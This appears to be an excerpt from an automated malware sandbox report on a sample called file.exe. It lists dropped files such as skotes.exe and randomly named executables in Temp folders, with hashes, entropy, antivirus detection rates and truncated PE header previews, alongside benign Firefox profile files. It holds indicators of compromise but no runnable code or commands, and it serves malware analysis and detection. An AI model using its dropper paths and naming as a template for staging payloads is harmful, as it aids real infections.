Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L....?g.........."..........`......w.............@..........................p.......U....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826816
Entropy (8bit):	7.949283951712022
Encrypted:	false
SSDEEP:	49152:kF+XXJ0w4jJPR2CEjYLk+9jYgahVLWOOX:k42tsCi+tLexWO
MD5:	27FA50C74212925790649267140710F1
SHA1:	0C82522E6F1D877C1B8A49EA16F7CCEAEE1A78FE
SHA-256:	9ABBADFACF4127EFED4F72EC65C65C741CB4E1F99F71CE53F8CA65666FBB2B6C
SHA-512:	F1718E28F649A2DB844FC36144702D307830EA7DFF889523A61223C7063EB1B53A83B121387F45ED08F3B2CB588AE5C52C7721A4078C9966FF93BCD188A04AA5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................H...........@...........................H.....a.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...hyifqwux.@...0/..@...x..............@...kzjybfum.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1826816
Entropy (8bit):	7.949283951712022
Encrypted:	false
SSDEEP:	49152:kF+XXJ0w4jJPR2CEjYLk+9jYgahVLWOOX:k42tsCi+tLexWO
MD5:	27FA50C74212925790649267140710F1
SHA1:	0C82522E6F1D877C1B8A49EA16F7CCEAEE1A78FE
SHA-256:	9ABBADFACF4127EFED4F72EC65C65C741CB4E1F99F71CE53F8CA65666FBB2B6C
SHA-512:	F1718E28F649A2DB844FC36144702D307830EA7DFF889523A61223C7063EB1B53A83B121387F45ED08F3B2CB588AE5C52C7721A4078C9966FF93BCD188A04AA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................H...........@...........................H.....a.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..)..........v..............@...hyifqwux.@...0/..@...x..............@...kzjybfum.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1731584
Entropy (8bit):	7.94336351253114
Encrypted:	false
SSDEEP:	49152:Vo3Ip876qfaZ5auoQOwubB5QgwR5BPB44:C3N76iBbB5Q15D
MD5:	E26B7B214A9BCDADA5B6A91CED4F99B3
SHA1:	092B5406BA5D33EBD2F40FB8CCBD9E191FB3A845
SHA-256:	0FCF04A856F1A43C977D633E19138FE8736482425557A16EA02E7572D2D6D313
SHA-512:	83B4713584B23FC879F7B079BDAA43EA900FDED8A2BEC2D0CC1B505DE7101D706826056DD0E0BBD521C1CA6FD29B33E8E8A7BD42FFBC423DEC3F2F7328B9F502
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................".......@f...........@..........................pf......b....@.................................M.$.a.....$.......................$..................................................................................... . ..$......b..................@....rsrc.........$......r..............@....idata ......$......t..............@... ..(...$......v..............@...yqttidiy.....`M......x..............@...gxgxfcij.....0f......D..............@....taggant.0...@f.."...J..............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	921600
Entropy (8bit):	6.590282561969895
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgauTT:oqDEvCTbMWu7rQYlBQcBiT6rprG8aWT
MD5:	01BA490C6ED14545D61671AB153BD4E3
SHA1:	034CD7B9F643AF75979F8B21DD8F8A979DC00A2A
SHA-256:	0842AE3AB48E3CD4BC07A2B22E03B3939AD4027645A7CC17D5F9F0CFE8151BE8
SHA-512:	B802CE35142351E833E8F04982E134216EE16D36531ECEDD66C73976D31BEEEA6A17F5ED3B2F5168105C2532172D888E31DCCC70F9794129CA33EE241B7311C9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L....?g.........."..........`......w.............@..........................p.......U....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2721792
Entropy (8bit):	6.546652063801442
Encrypted:	false
SSDEEP:	24576:jnjB7FpN0SVFz8CWPNiprjOA/ddxv0Z0pelC6BK8ujbaf0PskSXzEHp8QGyUknPT:jjowfbdTLjIzEaQGyUaeKGFanEKL
MD5:	28474A1CB1FAFE42F6E83116E07F1837
SHA1:	6D82769476D95CD6B76B66915A74C3A6E397DF69
SHA-256:	8D4389889CCD0F0E2A86D99509DC019C7CB2109626B5E813CF095EE2BD8A8DBF
SHA-512:	95250AA926C90A6C05354BE51A7D9589B1B9E56A8265B29DF3E2B81C6C9AF4AF9D1C377C55AAF77143A4924D69BE62895B4B34907F9DBA33E99F6D83AACB5657
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. .......................@.......)...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mjddytxu.@)......()..:..............@...vefxxbiz. ....)......b).............@....taggant.@....*.."...f).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.948924565178596
Encrypted:	false
SSDEEP:	49152:bqzY90Y24zHWuK0C7RmyKQ1LpxWST1EUtdIrXd4BjjI:OqCUC7Rv7sSWUnIrtmfI
MD5:	60F886C3617266309AC54C0775B86A1E
SHA1:	41F813FF0D3455BD4EDC34770C6B96066A35AD8C
SHA-256:	FF7B32C4800FB94BFD1CD6B2380B85009A9655A4F7018D117E3285F9D5B2986F
SHA-512:	658B6DB64DC96A1212FEC4BDA02BEAEB0A41A29C5FB89A854A15999BA0E632754A9FA5AB647084DEC78B6D757318D6A7917C19E7E3EF1CC66789D02E6BF4E097
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J...........@.................................W...k.......H.....................J.............................L.J..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .@*.........................@...shrhbpjb......0.....................@...wqpnrtad......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.925446727243347
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNX9y:8S+OfJQPUFpOdwNIOdYVjvYcXaNLUB8P
MD5:	9F97F3CC11D9948D125DA052751A53E9
SHA1:	243EAB1370E6795832B480B810396B82E07739B3
SHA-256:	4E4C4E8FD885EADB5D3A20EDDD45F37AD26E270906476A6A6EB7879940920140
SHA-512:	CD466DAE24D24068B4DB67A7ABD114C4CDEA1CE715BB60F6650EA31BA5AB41E0AFBB4F125DF134B5CB51581914DFE68D95BF74B918072B3773259D922F4AF8B9
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.925446727243347
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNX9y:8S+OfJQPUFpOdwNIOdYVjvYcXaNLUB8P
MD5:	9F97F3CC11D9948D125DA052751A53E9
SHA1:	243EAB1370E6795832B480B810396B82E07739B3
SHA-256:	4E4C4E8FD885EADB5D3A20EDDD45F37AD26E270906476A6A6EB7879940920140
SHA-512:	CD466DAE24D24068B4DB67A7ABD114C4CDEA1CE715BB60F6650EA31BA5AB41E0AFBB4F125DF134B5CB51581914DFE68D95BF74B918072B3773259D922F4AF8B9
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035447157006298996
Encrypted:	false
SSDEEP:	3:GtlstF2QC09Ulo/3lstF2QC09U9/x89//alEl:GtWt0QH9b3Wt0QH9Qx89XuM
MD5:	2D5E7E75F388D8AFFB802EDE7719A8F2
SHA1:	B3BD43AE1179E464AFB686CB566FDB19F5A3F223
SHA-256:	D21A8C0B4B685BFD3A313B6EBC1A3AA33C40FB21FC6D976C240EB7CE1DB3B662
SHA-512:	529B862BFCA1578491125DFFCA8501D3B358606B34914C6925ED5C5DF2B962A576AB2A91557E9A6EB93B90E53DE68B4E6A197154A5FB9EB775162085E040F04D
Malicious:	false
Preview:	..-.....................a...v.s..8...a.k..1o^....-.....................a...v.s..8...a.k..1o^..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	modified
Size (bytes):	32824
Entropy (8bit):	0.03993518821809553
Encrypted:	false
SSDEEP:	3:Ol1xcraMVV/y4Ddgiv6EWuLYwl8rEXsxdwhml8XW3R2:KLMnv2ApMwl8dMhm93w
MD5:	FC420DB4F0FD69DD25E6BF3CA334EA25
SHA1:	9F0CFA3C60F159F637CC9624CA338D0C8B77E0DF
SHA-256:	BEB44C413AFAA1F7E579E21DF10FA486571DBED040BB4576AD51796A7832D0D8
SHA-512:	1B275FE304FC2D3D6F4112EF740B4757511C1539D8F2512FF59E7096A720429D85F33B585E95A34E8D5CD5D6BB9694FFAF9CD28A4F9E00323564B9AF4FCF6962
Malicious:	false
Preview:	7....-............8...a.....S..N..........8...a...as.v.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13245
Entropy (8bit):	5.49459915383748
Encrypted:	false
SSDEEP:	192:2naRtLYbBp6ghj4qyaaXj6KjxNE85RfGNBw8dsSl:zeyq5w7hcwX0
MD5:	968E28EDFB494BE789C6E1A8129A2AD1
SHA1:	8619D1CBD5A1245401D349362413D562E729D826
SHA-256:	4E8CC7BE0599EA7B963F669D5A735CB2444818010581B38F0F6D49C3D4B4CAD6
SHA-512:	31469B61514D1108D98577399A827164C75CD39E252E775682D6C8D17580BAE5FD46315E5025CFA74EC11E1B4FD48C6331691D5DFCA36588FA978D3FABF44AAE
Malicious:	false
